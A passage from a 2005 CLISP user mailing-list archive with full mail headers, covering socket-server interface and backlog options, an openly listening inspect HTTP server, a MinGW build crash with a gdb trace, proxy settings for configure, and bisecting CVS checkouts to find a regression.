h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=DGUWj4dq4OjunG4HM/eR5GCEA1VdM0ObJXJ96HIW7poKRqqBlT0X6tVG5USyN1a0KMQoHRyeyTpYAKBA5kCH+jH8byN/DFOOHoWnjej5BaL8zwqGlcTlUnlMVkaDhYIBf0bBf6ggLeeniXA8BNCRHrloOOhrcIop2Atbqdy42xw= Received: by 10.36.251.17 with SMTP id y17mr5117604nzh; Sun, 04 Dec 2005 23:38:28 -0800 (PST) Received: by 10.36.222.63 with HTTP; Sun, 4 Dec 2005 23:38:28 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] socket-server questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 4 23:39:01 2005 X-Original-Date: Mon, 5 Dec 2005 08:38:28 +0100 Hello, I was playing recently with the sockets interface, and found few unclear po= ints: - For security reasons, it is sometimes advisable to bind to particular interface (e.g., 127.0.0.1) instead of all interfaces (i.e., 0.0.0.0). I found quite a cumbersome way to achieve this, using something like (socket-server (socket-connect 0 "127.0.0.1" :timeout 0)), but I do not know to bind to particular port then. Is this possible? I do not think that this is extraordinary enough requirement to use raw socket interface. - I also miss way how to set backlog parameter for listen(2) used by (socket-server) via create-socket-server and bindlisten_via_ip. Presently, it is fixed to 1. I think I have some issues caused by this, but I found no way to reproduce it easily - apparently, my understanding of how it works is slightly imperfect (I understood that with backlog=3D1, you cannot have two unaccepted pending connections - but experiment shows that this is not the case). To summarize, I would like the (socket-server) to accept two keyword parameters, :interface and :backlog. It would be nice to see it implemented, though I may try to make it myself if you think the idea is OK. Anyone knows how other implementations handle it, for consistency? Regards, P.S.: - To figure out first item above, I looked how it is handled in inspect.lisp (method inspect-frontend). It appears that the http server there is network-wide open. Is this deliberate? Some would see is as a possible security problem, but OTOH you may want it for some reasons (e.g., when clisp on remote machine is used) - First thing I did when playing with inspect was Ctrl-C, when I found that I missed :browser parameter, and netstat shown me that the server did survive that. The inspect-frontend may want to wrap the loop into some unwind-protect - OTOH, GC will probably close it in the long run anyway. P.P.S.: just for reference - clisp version from last week CVS. From kavenchuk@jenty.by Mon Dec 05 01:18:54 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjCUn-0001OK-VZ for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 01:18:53 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjCUl-0006Aw-Dw for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 01:18:53 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZ1867; Mon, 5 Dec 2005 11:16:56 +0200 Message-ID: <43940597.80005@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 01:19:03 2005 X-Original-Date: Mon, 05 Dec 2005 11:17:11 +0200 > * New function EXT:OPEN-HTTP and macro EXT:WITH-HTTP-INPUT. > See for > details. data from this link and other does not contain information about specified functions Thanks -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Mon Dec 05 02:41:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjDmV-0005h5-B8 for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 02:41:15 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjDmQ-0001RQ-QZ for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 02:41:15 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZ19GZ; Mon, 5 Dec 2005 12:42:29 +0200 Message-ID: <439419A4.4080305@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Marko Kocic Subject: Re: [clisp-list] Re: pre-test for 2.36 References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 USERPASS URI: URL contains username and (optional) password Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 02:42:01 2005 X-Original-Date: Mon, 05 Dec 2005 12:42:44 +0200 Sam Steingold wrote: >>Hope this helps to track down the problem. >>I'm using win xp pro, mingw with gcc-4.0.2 and building clisp with the >>following cmdline >>./configure --with-debug --with-mingw --with-module=rawsock --build >>build-mingw-g > > > I do not use pure mingw/msys, I use cygwin gcc -mno-cygwin and it is > still at 3.4.4, so I cannot reproduce this. > Yaroslav, this appears to be similar to your setup - have you seen > anything like it? > > there is a slight chance that todays patches might have fixed this. > could you please try again? > clisp from CVS head (2.36), mingw - all works. before run ./configure need set HTTP_PROXY (if not set it): $ export HTTP_PROXY="http://user_name:password@host:port" $ ./configure .... P.S. May be include this information in INSTALL? Thanks. -- WBR, Yaroslav Kavenchuk. From marko.kocic@gmail.com Mon Dec 05 03:08:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjECh-0006wL-Fn for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:08:19 -0800 Received: from zproxy.gmail.com ([64.233.162.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjECg-0003Wk-WB for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:08:19 -0800 Received: by zproxy.gmail.com with SMTP id r28so1095741nza for ; Mon, 05 Dec 2005 03:08:18 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=f9HbkQlTP1w8uyAZWfkNWRhNDUQW3y9Qu04LfY41uKyqzno9VPUKc91FRCFs5LnGZp+XMknLEBDYNDNuq5NaCYgs5a1ivwbPequH2W4KYzyuT59WPYiv6rxNyaZOHmcfWHv1z7RFS4Qf5xCv0ZnDYM8DsXqVUW3ppy7rcTbBqGE= Received: by 10.36.221.13 with SMTP id t13mr5063581nzg; Mon, 05 Dec 2005 03:08:17 -0800 (PST) Received: by 10.36.221.68 with HTTP; Mon, 5 Dec 2005 03:08:17 -0800 (PST) Message-ID: <9238e8de0512050308w4184b573r@mail.gmail.com> From: Marko Kocic To: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: pre-test for 2.36 Cc: clisp-list@lists.sourceforge.net In-Reply-To: <439419A4.4080305@jenty.by> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <439419A4.4080305@jenty.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 03:09:12 2005 X-Original-Date: Mon, 5 Dec 2005 12:08:17 +0100 I tried again with todays CVS (2.36 I suppose). Same problem again. Crash running tests. Btw, I can't see what it has to do with http proxy? You are probably refering one of my previous mails in this thread about describe, but it has nothing to do with this, I suppose. EQUAL-OK: (KONS (1 . 2) 3) (LET* ((N (MIN LAMBDA-PARAMETERS-LIMIT 1024)) (VARS (LOOP REPEAT N COLLECT = (GENS YM)))) (EVAL `(=3D ,N (FLET ((%F ,VARS (+ ,@VARS))) (%F ,@(LOOP FOR E IN VA= RS COLL ECT 1)))))) $ gdb.exe GNU gdb 5.2.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you ar= e welcome to change it and/or distribute copies of it under certain condition= s. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-mingw32". .gdbinit:108: Error in sourced command file: No symbol table is loaded. Use the "file" command. (gdb) base (gdb) run Starting program: c:\dev\cvstree\sourceforge\clisp\clisp\build-mingw-g/base/lisp.exe -B . -N locale -E 1:1 -q -norc -M b ase/lispinit.mem Program received signal SIGSEGV, Segmentation fault. 0x00462296 in interpret_bytecode_ (closure=3D{one_o =3D 433618537}, codeptr=3D0x19d87e20, byteptr_in=3D0x19d87e32 "\236 +\236\\ '\230") at eval.d:5906 5906 ? CCV_START_KEY : CCV_START_NONKEY; (gdb) n 0x10108d50 in _libws2_32_a_iname () (gdb) n Single stepping until exit from function _libws2_32_a_iname, which has no line number information. 0x7c90eaf4 in _libws2_32_a_iname () (gdb) n Single stepping until exit from function _libws2_32_a_iname, which has no line number information. Program received signal SIGSEGV, Segmentation fault. 0x00462296 in interpret_bytecode_ (closure=3D{one_o =3D 433618537}, codeptr=3D0x19d87e20, byteptr_in=3D0x19d87e32 "\236 +\236\\ '\230") at eval.d:5906 5906 ? CCV_START_KEY : CCV_START_NONKEY; (gdb) n Program exited with code 030000000375. (gdb) From kavenchuk@jenty.by Mon Dec 05 03:11:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjEFi-00076z-FI for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:11:26 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjEFe-0004iD-3L for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:11:26 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZ19LY; Mon, 5 Dec 2005 13:12:46 +0200 Message-ID: <439420BD.1010302@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 03:12:07 2005 X-Original-Date: Mon, 05 Dec 2005 13:13:01 +0200 Why impnotes from http://www.podval.org/~sds/clisp/ not included in distribution? Thanks. -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Mon Dec 05 03:23:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjEQz-0007lg-VZ for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:23:05 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjEQy-0004JK-A7 for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:23:05 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZ19NJ; Mon, 5 Dec 2005 13:24:22 +0200 Message-ID: <43942374.40209@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Marko Kocic CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: pre-test for 2.36 References: <9238e8de0512050308w4184b573r@mail.gmail.com> In-Reply-To: <9238e8de0512050308w4184b573r@mail.gmail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 03:24:11 2005 X-Original-Date: Mon, 05 Dec 2005 13:24:36 +0200 Marko Kocic wrote: > I tried again with todays CVS (2.36 I suppose). Same problem again. > Crash running tests. > Btw, I can't see what it has to do with http proxy? You are probably > refering one of my previous mails in this thread about describe, but > it has nothing to do with this, I suppose. > > > EQUAL-OK: (KONS (1 . 2) 3) > (LET* ((N (MIN LAMBDA-PARAMETERS-LIMIT 1024)) (VARS (LOOP REPEAT N > COLLECT (GENS > YM)))) (EVAL `(= ,N (FLET ((%F ,VARS (+ ,@VARS))) (%F ,@(LOOP FOR E IN > VARS COLL > ECT 1)))))) > Oops, sorry. I have get similar test error on WinXP - I wrote to clisp-devel mail list. Now under Win2k no error. Thanks. -- WBR, Yaroslav Kavenchuk. From marko.kocic@gmail.com Mon Dec 05 03:30:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjEYP-00087W-Br for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:30:45 -0800 Received: from zproxy.gmail.com ([64.233.162.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjEYN-0000gu-IN for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:30:45 -0800 Received: by zproxy.gmail.com with SMTP id r28so1099750nza for ; Mon, 05 Dec 2005 03:30:41 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=qycXRvHcVscZjD8KO6EoNA6qRW+BTEmRZPR5ZJbOQr4ffMkVEU8zfdRlKm9ExutwjRyEZbhoR7OUEFWkatj6/65ChK5PANWEXNpfQ3DfOKHL9b5oUxy9cB0PjWL4aMKVTtzRBuRIyokjcrBDMFg9OmJ7Rn2Db4TK4BSVOww9nQg= Received: by 10.36.82.17 with SMTP id f17mr5071415nzb; Mon, 05 Dec 2005 03:30:41 -0800 (PST) Received: by 10.36.221.68 with HTTP; Mon, 5 Dec 2005 03:30:41 -0800 (PST) Message-ID: <9238e8de0512050330q532a1c4p@mail.gmail.com> From: Marko Kocic To: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: pre-test for 2.36 Cc: clisp-list@lists.sourceforge.net In-Reply-To: <43942374.40209@jenty.by> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <9238e8de0512050308w4184b573r@mail.gmail.com> <43942374.40209@jenty.by> X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 03:31:06 2005 X-Original-Date: Mon, 5 Dec 2005 12:30:41 +0100 That crash started to happen ~1 week ago. My last good build was Nov 29. This might help to track this down. Btw, I just downloaded binary clisp 2.36 and it works ok [1]> (LET* ((N (MIN LAMBDA-PARAMETERS-LIMIT 1024)) (VARS (LOOP REPEAT N COLLECT (GENSYM)))) (EVAL `(=3D ,N (FLET ((%F ,VAR S (+,@VARS))) (%F ,@(LOOP FOR E IN VARS COLLECT 1)))))) T [2]> (bye) From kavenchuk@jenty.by Mon Dec 05 03:46:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjEnq-0000eC-Cm for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:46:42 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjEnn-00020D-1j for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 03:46:42 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZ19Q2; Mon, 5 Dec 2005 13:47:58 +0200 Message-ID: <439428FD.50704@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [clisp-announce] GNU CLISP 2.36 References: <43940597.80005@jenty.by> In-Reply-To: <43940597.80005@jenty.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 03:47:05 2005 X-Original-Date: Mon, 05 Dec 2005 13:48:13 +0200 >>* New function EXT:OPEN-HTTP and macro EXT:WITH-HTTP-INPUT. >> See for >>details. > > > data from this link and other does not contain information about > specified functions > And describe with default *IMPNOTES-ROOT-DEFAULT*: URL path: http://clisp.cons.org/impnotes/id-href.map Error notes: File does not exist Thanks. -- WBR, Yaroslav Kavenchuk From sds@gnu.org Mon Dec 05 06:57:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjHmQ-0001lT-9s for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 06:57:26 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjHmM-00045K-UY for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 06:57:26 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB5Ev1TQ012466; Mon, 5 Dec 2005 09:57:01 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marko Kocic Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0512050330q532a1c4p@mail.gmail.com> (Marko Kocic's message of "Mon, 5 Dec 2005 12:30:41 +0100") References: <9238e8de0512050308w4184b573r@mail.gmail.com> <43942374.40209@jenty.by> <9238e8de0512050330q532a1c4p@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko Kocic Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pre-test for 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 06:58:03 2005 X-Original-Date: Mon, 05 Dec 2005 09:55:58 -0500 > * Marko Kocic [2005-12-05 12:30:41 +0100]: > > That crash started to happen ~1 week ago. My last good build was Nov > 29. This might help to track this down. well, then it is real easy - just use binary search to get to the actual change that triggers the bug. the algorithm is as follow: cvs co -D 2005-11-29 clisp cd clisp ; ./configure --build build --- should be success --- cd .. mv clisp good cvs co -D 2005-12-03 clisp cd clisp ; ./configure --build build --- should be failure --- cd .. mv clisp bad now just keep taking the midpoint between good date and bad date and replacing the good or bad directory. in 4 steps you will know the culprit for sure. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il/ http://www.savegushkatif.org http://www.dhimmi.com/ http://ffii.org/ http://www.iris.org.il http://www.palestinefacts.org/ There are no answers, only cross references. From sds@gnu.org Mon Dec 05 07:11:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjHzm-0002h8-UY for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 07:11:14 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjHzl-00031D-5t for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 07:11:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB5FAkPj013399; Mon, 5 Dec 2005 10:10:47 -0500 (EST) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Mon, 5 Dec 2005 08:38:28 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: socket-server questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 07:12:04 2005 X-Original-Date: Mon, 05 Dec 2005 10:09:44 -0500 > * Tomas Zellerin [2005-12-05 08:38:28 +0100]: > > To summarize, I would like the (socket-server) to accept two keyword > parameters, :interface and :backlog. It would be nice to see it > implemented, though I may try to make it myself if you think the idea > is OK. Idea is OK, PTC. http://cygwin.com/acronyms/#PTC > - To figure out first item above, I looked how it is handled in > inspect.lisp (method inspect-frontend). It appears that the http > server there is network-wide open. Is this deliberate? Some would see > is as a possible security problem, but OTOH you may want it for some > reasons (e.g., when clisp on remote machine is used) indeed, the idea was to make it possible to use http backend from a different machine. > - First thing I did when playing with inspect was Ctrl-C, when I found > that I missed :browser parameter, and netstat shown me that the server > did survive that. The inspect-frontend may want to wrap the loop into > some unwind-protect - OTOH, GC will probably close it in the long run > anyway. right you are. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.iris.org.il http://www.dhimmi.com/ http://www.palestinefacts.org/ http://www.camera.org http://truepeace.org Good judgment comes from experience and experience comes from bad judgment. From sds@gnu.org Mon Dec 05 07:12:03 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjI0Z-0002jW-7I for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 07:12:03 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EjI0V-0007dW-MI for clisp-list@lists.sourceforge.net; Mon, 05 Dec 2005 07:12:03 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.127]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jB5FBP7O013441; Mon, 5 Dec 2005 10:11:32 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43940597.80005@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 05 Dec 2005 11:17:11 +0200") References: <43940597.80005@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: [clisp-announce] GNU CLISP 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 5 07:13:00 2005 X-Original-Date: Mon, 05 Dec 2005 10:10:23 -0500 > * Yaroslav Kavenchuk [2005-12-05 11:17:11 +0200]: > >> * New function EXT:OPEN-HTTP and macro EXT:WITH-HTTP-INPUT. >> See for >> details. > > data from this link and other does not contain information about > specified functions WFM (I think the pages are regenerated nighly) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.honestreporting.com http://www.mideasttruth.com/ http://pmw.org.il/ http://www.dhimmi.com/ Ernqvat guvf ivbyngrf QZPN. From sds@gnu.org Mon Dec 05 09:53:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EjKX3-0004ed-Mn for 